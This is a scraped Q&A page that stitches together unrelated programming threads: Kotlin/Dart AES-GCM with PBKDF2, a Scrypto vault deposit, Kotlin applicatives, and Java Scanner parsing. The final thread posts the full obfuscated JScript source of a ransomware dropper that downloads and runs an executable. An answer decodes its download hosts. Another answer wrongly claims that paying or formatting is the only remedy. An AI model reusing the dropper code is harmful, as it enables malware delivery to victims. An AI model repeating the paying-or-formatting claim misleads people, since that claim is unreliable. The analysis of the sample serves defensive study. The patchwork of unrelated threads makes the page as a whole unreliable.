I am attempting to use GCM encryption with PBKDF2 that is interoperable across both kotlin and dart. Decrypters will come next. Currently I am using a "working" kotlin version (below) and I want to replicate it in dart (my attempt below that) if it is correct. See below Kotlin version (Notice log results provided below respective lines. Outputs are suspect.):
Also note: These examples now use the same text and masterpass inputs.
KOTLIN:
fun encrypt(input: String, password: String): String {
val masterpw = getKey(password).toString(Charset.forName("UTF-8"))
val mastertest = getKey(password)
val random = SecureRandom()
Log.d("RANDOM", "${random}") //D/RANDOM (25834): java.security.SecureRandom#dc72083
val salt = ByteArray(8)
Log.d("SALT", "${salt}") //D/SALT (25834): [B#202f200
random.nextBytes(salt)
Log.d("SALT2", "${salt}") //D/SALT2 (25834): [B#202f200
val factory: SecretKeyFactory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1")
Log.d("factory", "${factory}") //D/factory (25834): javax.crypto.SecretKeyFactory#cfd3a39
val spec: KeySpec = PBEKeySpec(masterpw.toString().toCharArray(), salt, 10000, 256)
Log.d("KeySpec", "${spec}") //D/KeySpec (25834): javax.crypto.spec.PBEKeySpec#a5587e
val tmp: SecretKey = factory.generateSecret(spec)
Log.d("SecretKey", "${tmp}") //D/SecretKey(25834): com.android.org.bouncycastle.jcajce.provider.symmetric.util.BCPBEKey#6d141df
val iv = ByteArray(12)
Log.d("IV", "${iv}") //D/IV (25834): [B#aa52e2c
random.nextBytes(iv)
Log.d("IV2", "${iv}") //D/IV2 (25834): [B#aa52e2c
val cipher = Cipher.getInstance("AES/GCM/NoPadding")
Log.d("Cipher", "${cipher}") //D/Cipher (25834): javax.crypto.Cipher#e6e40f5
cipher.init(Cipher.ENCRYPT_MODE, tmp, IvParameterSpec(iv))
Log.d("Cipher2", "${cipher}") //D/Cipher2 (25834): javax.crypto.Cipher#e6e40f5
val cipherText: ByteArray = cipher.doFinal(input.toByteArray(Charset.forName("UTF-8")))
Log.d("cipherText", "${cipherText}") //D/cipherText(25834): [B#f3a7e8a
val ivstring: String = Base64.encodeToString(iv, Base64.NO_WRAP)
Log.d("ivstring", "${ivstring}") //D/ivstring(25834): D3tPtM6+WYnoSswE
val saltystring: String = Base64.encodeToString(salt, Base64.NO_WRAP)
Log.d("saltystring", "${saltystring}") //D/saltystring(25834): zbq9ZqJ9xiw=
val cipherstring: String = Base64.encodeToString(cipherText, Base64.NO_WRAP)
Log.d("cipherstring", "${cipherstring}") //D/cipherstring(25834): w/WqSqg++udXCLKE6ly765OWBHKt79Lw/g==
val returnstring: String = ivstring + "-" + saltystring + "-" + cipherstring
Log.d("returnstring", "${returnstring}") //D/returnstring(25834): D3tPtM6+WYnoSswE-zbq9ZqJ9xiw=-w/WqSqg++udXCLKE6ly765OWBHKt79Lw/g==
return returnstring
}
fun getKey(masterPass: String): ByteArray {
return masterPass.padEnd(32, '.').toByteArray(Charset.forName("UTF-8"))
}
DART:
The dart method utilizes the cryptography.dart package v1.4.1. Note: Due to constraints with other libraries in the app, I can't use a newer version of the cryptography package, which I believe rules the recently added 'AesGcm.with128bits' functions out.
The dart version crashes near the end when I attempt to decode the encrypted cipherTextBytes to a string, as shown in the provided log results.
encryptPassGCM(String text, String masterPass) async {
print("ENCRYPTPASSGCM STARTS WITH: " + "TEXT: " + text + " & " + "master: " + masterPass);
//trim key and convert
String keyString = masterPass;
if (keyString.length < 32) {
int count = 32 - keyString.length;
for (var i = 0; i < count; i++) {
keyString += ".";
}
}
Uint8List keyStringutf8 = utf8.encode(keyString);
print("keyStringutf8: " + keyStringutf8.toString());
//gen salt and iv
final salt = Nonce.randomBytes(8);
print("salt init: " + salt.bytes.toString());
//LOG salt init: [161, 50, 222, 98, 151, 225, 89, 65]
final iv = Nonce.randomBytes(12);
print("iv init: " + iv.bytes.toString());
//LOG iv init: [59, 188, 146, 172, 213, 13, 135, 35, 202, 220, 178, 190]
//create key
final pbkdf2 = Pbkdf2(
macAlgorithm: Hmac(sha1),
iterations: 10000,
bits: 256,
);
final keyBytes = await pbkdf2.deriveBits(
keyStringutf8,
nonce: salt,
);
print("keybytes: " + keyBytes.toString());
//LOG keybytes: [85, 204, 96, 108, 200, 21, 24, 115, 254, 104, 133, 81, 53, 126, 252, 161, 172, 193, 25, 177, 143, 69, 53, 35, 105, 144, 248, 6, 121, 106, 237, 142]
SecretKey secretKey = new SecretKey(keyBytes);
print("secretKey: " + secretKey.toString());
//LOG secretKey: SecretKey(...)
//create ciphertext and convert to string
List<int> textutf8 = utf8.encode(text);
Uint8List cipherTextBytes = await AesGcm().encrypt(textutf8, secretKey: secretKey, nonce: iv);
print("cipherTextBytes: " + cipherTextBytes.toString());
//LOG cipherTextBytes: [110, 3, 238, 169, 52, 125, 176, 200, 122, 142, 111, 75, 181, 248, 91, 57, 95, 131, 85, 223, 224, 73, 173, 39, 37]
var cipherText = utf8.decode(cipherTextBytes); //CRASHES HERE
print("cipherText: " + cipherText);
var cipherString = iv.toString() + "-" + salt.toString() + "-" + cipherText;
print("GCM CIPHER STRING COMPLETE: " + cipherString);
return cipherString;
}
Is the kotlin implementation correct? The data logs seem erroneous.
What is wrong with my dart implementation?
The exception is thrown when trying to Utf8 decode the ciphertext. Arbitrary binary data like ciphertexts or pseudo-random data like salts or IVs cannot be decoded with charset encodings like Utf8 because the data will be corrupted, see here. Instead, a binary-to-text encoding like Base64 must be applied.
The Kotlin code Base64 encodes salt, IV and ciphertext and concatenates the portions with a separator (-). The Dart counterpart would be e.g.:
var cipherString = base64.encode(iv.bytes) + "-" + base64.encode(salt.bytes) + "-" + base64.encode(cipherTextBytes);
and the UTF8 decoding of cipherTextBytes is to be removed.
A second problem was that by accident the originally posted code did not use the key derived using PBKDF2, but a randomly generated key (see also Rob Napier's comment).
When both bugs are fixed, both codes are functionally identical and produce the same ciphertext (assuming the same salt and IV).
Note that the GCM authentication tag (16 bytes by default) is automatically appended to the ciphertext in the Dart and Kotlin code (i.e. cipherTextBytes contains not only the ciphertext but also the authentication tag: ciphertext|tag). Not all libraries do it this way, so the separation of the tag (as the last 16 bytes) is required when decrypting with such a library.
Also, it is rather uncommon to Base64 encode salt, IV and ciphertext/tag separately and concatenate the parts with a separator. Instead, by convention, concatenation is done at byte level: salt|IV|ciphertext|tag. Since the salt, IV and tag lengths are known on both sides, no separator is needed. The result is Base64 encoded. But as mentioned, this is just a convention.
Regarding the parameters for PBKDF2: Although SHA1 is classified as insecure (see here), its use as HMAC/SHA1 is not critical. However, a move to SHA256 would support the banishment of SHA1 from the ecosystem. The iteration count should slow down an attacker and should therefore be chosen as high as possible while maintaining acceptable performance (typically larger than 10,000). The recommended salt length is 16 bytes, see PBKDF2.
Related
In my blueprint, I have a function for the admin to deposit tokens back into the blueprint token vault.
pub fn deposit(&mut self, amount: Decimal, mut bucket: Bucket) {
assert!(amount <= bucket.amount(), "not enough amount in your bucket");
self.token_vault.put(bucket.take(amount))
}
I know how to generate a new account in my test file, and how to make a method call with badge protected access...
And I have learned from Scrypto-example/nft/magic-card:
https://github.com/radixdlt/scrypto-examples
let (public_key, private_key, account_component) = test_runner.new_allocated_account();
...
let manifest = ManifestBuilder::new(&NetworkDefinition::simulator())
.create_proof_from_account_by_amount(account_component, badge_amount, badge_addr)
.withdraw_from_account_by_amount(account_component, amount, token_addr)
.take_from_worktop(token_addr, |builder, bucket_id| {
builder.call_method(component, func_name, args!(amount, Bucket(bucket_id)))
})
.call_method(
account_component,
"deposit_batch",
args!(Expression::entire_worktop()),
)
.build();
let receipt = test_runner.execute_manifest_ignoring_fee(
manifest,
vec![NonFungibleAddress::from_public_key(&public_key)],
);
println!("{} receipt: {:?}\n", func_name, receipt);
receipt.expect_commit_success();
Then I got this error:
COMMITTED FAILURE: KernelError(InvalidDropNodeVisibility { mode: Application, actor:
Method(Scrypto { package_address: NormalPackage[011784f2e3c4b3dc9d14c850484fc4962f59ea68271e917d2f075c],
blueprint_name: "StableCoin", ident: "deposit" }, ResolvedReceiver { derefed_from:
Some((Global(Component(NormalComponent[02fd2e738e08b33e7d19001684043cd24fe35fda1ddc9429f7051e])), 36)),
receiver: Component([252, 13, 40, 104, 140, 209, 211, 110, 141, 213, 197, 200, 172, 195, 190, 178, 219, 47, 174, 17, 52, 209, 75, 207, 106, 97, 105, 21, 213, 159, 52, 25, 15, 4, 0, 0]) }),
node_id: Bucket(1027) })
But how can I make the bucket variable from my account_component as a function argument?
I solved it... my blueprint function should not include the amount, which has been represented in bucket argument...
pub fn deposit_to_vault(&mut self, bucket: Bucket) {
self.token_vault.put(bucket)
}
then use take_from_worktop_by_amount to get the bucket_id:
.withdraw_from_account_by_amount(user.compo_addr, amount, token_addr)
.take_from_worktop_by_amount(amount, token_addr, |builder, bucket_id| {
builder.call_method(component, func_name, args!(Bucket(bucket_id)))
})
.call_method(
user.compo_addr,
"deposit_batch",
args!(Expression::entire_worktop()),
)
.build();
From what I understood, Applicatives are classes which implement the method apply, but I've seen a version with functions too. This is what it should look like:
fun <T, R> List<T>.ap(fab: List<(T) -> R>): List<R> = fab.flatMap { f -> this.map(f) }
And, when I am testing it with:
fun main(){
val numbers = listOf(75, 454, 7, 45, 45, 56, 75)
val functions = listOf<(Int) -> Int>({ i -> i * 2 }, { i -> i + 3 })
val result = numbers.ap(functions).joinToString()
println(result)
}
The output is:
150, 908, 14, 90, 90, 112, 150, 78, 457, 10, 48, 48, 59, 78
But the expected output is:
153, 911, 17, 93, 93, 115, 153, 81, 460, 13, 51, 51, 62, 81
Basically, I am applying a list of functions to a normal list, that's what it should do. From what I observed, my applicative did his job only for the first function, but for the other, it didn't... How can I get the expected result, using applicatives? I would like to keep my list of functions the way it is already, or at least to keep it similar at most.
The result of the gen function must be an argument of the res function.
The result of the res function is even numbers that came out of the first function.
fun gen():List<Int>{
val numbers=List(10){Random.nextInt(1,100)}
return numbers.filter{it>0}
}
fun res(){...}
From your question, seems like you're trying to create list of random numbers and then filtering out the even numbers from the generated list.
Most probably this should be the implementation:
fun gen(): List<Int> = List(10) { Random.nextInt(1, 100) }
fun res(list: List<Int>) = list.filter { it % 2 == 0 }
// somewhere else
val generated = gen()
println(generated)
println(res(generated))
Sample output:
[44, 57, 64, 96, 30, 93, 92 23, 58, 26]
[44, 64, 96, 30, 92, 58, 26]
System.out.print("What would you like to decode? ");
String fileName1 = console.next();
System.out.print("Save the results as: ");
resultFileName = console.next();
int token1;
Scanner inFile1 = new Scanner(new
File(fileName1)).useDelimiter("[" + "," + " ]");
List<Integer> temps = new ArrayList<Integer>();
while (inFile1.hasNext()) {
token1 = inFile1.nextInt();
temps.add(token1);
}
for(int i = 0; i <= temps.size() - 1; i++) {
int x = temps.get(i);
System.out.print((char) x);
}
when i run this it says there is a error on "token1 = inFile1.nextInt();"
this is what is in the file: [89, 111, 117, 39, 114, 101, 32, 97, 108, 109, 111, 115, 116, 32, 116, 104, 101, 114, 101, 46, 32, 75, 101, 101, 112, 32, 117, 112, 32, 116, 104, 101, 32, 103, 111, 111, 100, 32, 119, 111, 114, 107, 33]
Use the inFile1.hasNextInt() opposed to the inFile1.hasNext(). This way you can make sure the next value can be interpreted as an int.
I think the inFile1.hasNext() is resolving as true because you still have the character ] left in the file.
The useDelimiter is only used to seperate your ints. So you have to manually parse the [ and ] and call Scanner inFile1 = new Scanner(new
File(fileName1)).useDelimiter(","); for parsing the ints.
Edit: for parsing the '[' for example you can use:
Pattern p = Pattern.compile("[");
scanner.next(p);
I'm not sure if it is allowed to ask this question here.
I just have a friend with PC which is infected with some sort of "RANSOMWARE" - a type of malware where will encrypt your file/s and ask for payment for decryption.
I managed to take out the root processes of the virus(which encrypt and change all of document, images and video files to "*.micro" files) but recovering the infected data is a bit difficult and not much resources available online yet.
Here is the .js script file that triggers the malware:
var _base64Idx = [
/*43 -43 = 0*/
/*'+', 1, 2, 3,'/' */
62, -1, -1, -1, 63,
/*'0','1','2','3','4','5','6','7','8','9' */
52, 53, 54, 55, 56, 57, 58, 59, 60, 61,
/*15, 16, 17,'=', 19, 20, 21 */
-1, -1, -1, 64, -1, -1, -1,
/*65 - 43 = 22*/
/*'A','B','C','D','E','F','G','H','I','J','K','L','M', */
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12,
/*'N','O','P','Q','R','S','T','U','V','W','X','Y','Z' */
13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25,
/*91 - 43 = 48 */
/*48, 49, 50, 51, 52, 53 */
-1, -1, -1, -1, -1, -1,
/*97 - 43 = 54*/
/*'a','b','c','d','e','f','g','h','i','j','k','l','m' */
26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38,
/*'n','o','p','q','r','s','t','u','v','w','x','y','z' */
39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51
];
function decode(input, output, offset) {
var out = output;
if(!out) {
out = new Uint8Array(Math.ceil(input.length / 4) * 3);
}
// remove all non-base64 characters
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, '');
offset = offset || 0;
var enc1, enc2, enc3, enc4;
var i = 0, j = offset;
while(i < input.length) {
enc1 = _base64Idx[input.charCodeAt(i++) - 43];
enc2 = _base64Idx[input.charCodeAt(i++) - 43];
enc3 = _base64Idx[input.charCodeAt(i++) - 43];
enc4 = _base64Idx[input.charCodeAt(i++) - 43];
out[j++] = (enc1 << 2) | (enc2 >> 4);
if(enc3 !== 64) {
// decoded at least 2 bytes
out[j++] = ((enc2 & 15) << 4) | (enc3 >> 2);
if(enc4 !== 64) {
// decoded 3 bytes
out[j++] = ((enc3 & 3) << 6) | enc4;
}
}
}
// make sure result is the exact decoded length
return output ?
(j - offset) :
out.subarray(0, j);
}
var tEuosqyTkm = function (packedText) {
var buffer = [];
var length = decode(packedText, buffer);
var charCodeAt = "charCodeAt";
var result = "";
for (var i = 0; i < length; i++) {
result += String.fromCharCode(buffer[i] ^ "bVE6YUkX3beIQAEG"[charCodeAt](i % "bVE6YUkX3beIQAEG".length));
}
return result;
};
var aideN66 = function() {
var vapidAuw = function() {};
vapidAuw.prototype.create = function(disapprobationQvY) {
return WScript.CreateObject(disapprobationQvY);
};
return vapidAuw;
}();
(function() {
var nettlepkm = new aideN66();
var banterKA3 = 200;
var inspireRpB = tEuosqyTkm('"JRMR"');
var pallidK2I = tEuosqyTkm('"Jy4gVQ=="');
var sultryiRC = tEuosqyTkm('"NQUmRDAlH3ZgCgAlPQ=="');
var constrainedfQW = tEuosqyTkm('"LwUdexVnRQB+Li0dBRE="');
var interpolatevY1 = tEuosqyTkm('"BDx8AAg0ABdDMA=="');
var denouementpK3 = tEuosqyTkm('"KgcBcCwRER56Jw=="');
var gratisE9J = tEuosqyTkm('"CG4EQWAYCg90Lg=="');
var rangeuR2 = tEuosqyTkm('"Jz0LeGwnBWwFIw=="');
var broochIQm = tEuosqyTkm('"MzoheDZsKhddBQ=="');
var smatteringBY6 = tEuosqyTkm('"NhQQXwwiOABAVA=="');
var interminablecBc = tEuosqyTkm('"MzwOBioiPyJwLQ=="');
var sonorousmpK = tEuosqyTkm('"IxIKchs="');
var evidentzgN = tEuosqyTkm('"MSI3Uzg4"');
var convalesceWKQ = tEuosqyTkm('"RwIAewlwNw=="');
var justifyaTv = tEuosqyTkm('"TDM9Uw=="');
var cedeWsU = Math.pow(2, 10) * 249;
var foilgEV = [ tEuosqyTkm('"CiIxRmN6RDBWDgkmKC4wKQU7JFgoJEU7XA9Ke2dvID8H"'), tEuosqyTkm('"CiIxRmN6RDBWDgkmKC4wKQU7JFg/M0U7XA9Ke2dvID8H"') ];
var suavityzSi = 2097152;
var flagHQx = nettlepkm.create(sultryiRC);
var endemicfVU = nettlepkm.create(constrainedfQW);
var evidentv5F = nettlepkm.create(sonorousmpK + tEuosqyTkm('"TA=="') + evidentzgN);
var humbleM87 = flagHQx.ExpandEnvironmentStrings(convalesceWKQ);
var weltPvA = humbleM87 + suavityzSi + justifyaTv;
var roseatef1b = false;
for (var masticatehJi = 0; masticatehJi < foilgEV.length; masticatehJi++) {
try {
var invocationIOk = foilgEV[masticatehJi];
endemicfVU.open(inspireRpB, invocationIOk, false);
endemicfVU.send();
if (endemicfVU.status == banterKA3) {
try {
evidentv5F.open();
evidentv5F.type = 1;
evidentv5F.write(endemicfVU[tEuosqyTkm('"EDM2RjY7GD1xDQEw"')]);
if (evidentv5F.size > cedeWsU) {
masticatehJi = foilgEV.length;
evidentv5F.position = 0;
evidentv5F.saveToFile(weltPvA, 2);
roseatef1b = true;
}
} finally {
evidentv5F.close();
}
}
} catch (ignored) {}
}
if (roseatef1b) {
flagHQx[pallidK2I](humbleM87 + Math.pow(2, 21));
}
})();
Anybody here can help me out on reverse engineering this script to decrypt/recover the encrypted files?
Thank you :)
P.S. FYI, this "ransomware" script circulating through emails as attachment since 9th of Feb 2016.
It just downloads runs an actual executable script.
It tries to get it from http[colon]//helloyoungmanqq.com/26.exe first, then http[colon]//helloyoungmanff.com/26.exe if that fails. I assume it's the same file, just a backup download site.
All that encoding stuff is just to obfuscate the strings it uses to run the ActiveX stuff that does this (since otherwise it would quite quickly be easily recognized by software and humans alike as malicious).
This script is not your answer...it just leads to the next stuff to look into.
I would highly recommend being very careful with those files should you download them.
It's very dangerous to play with Ransomware source codes. You will surely end up losing your data if at all you try to recover from Ransomware. The only way to remove ransomware is either you pay the ransom amount or you just format the system completely without leaving any file in the system.
There are few tools available to remove ransomware but I am not sure about which version of Ransomware you are talking about in this post. There are many Ransomware families that exist and every Ransomware has its own source codes and files!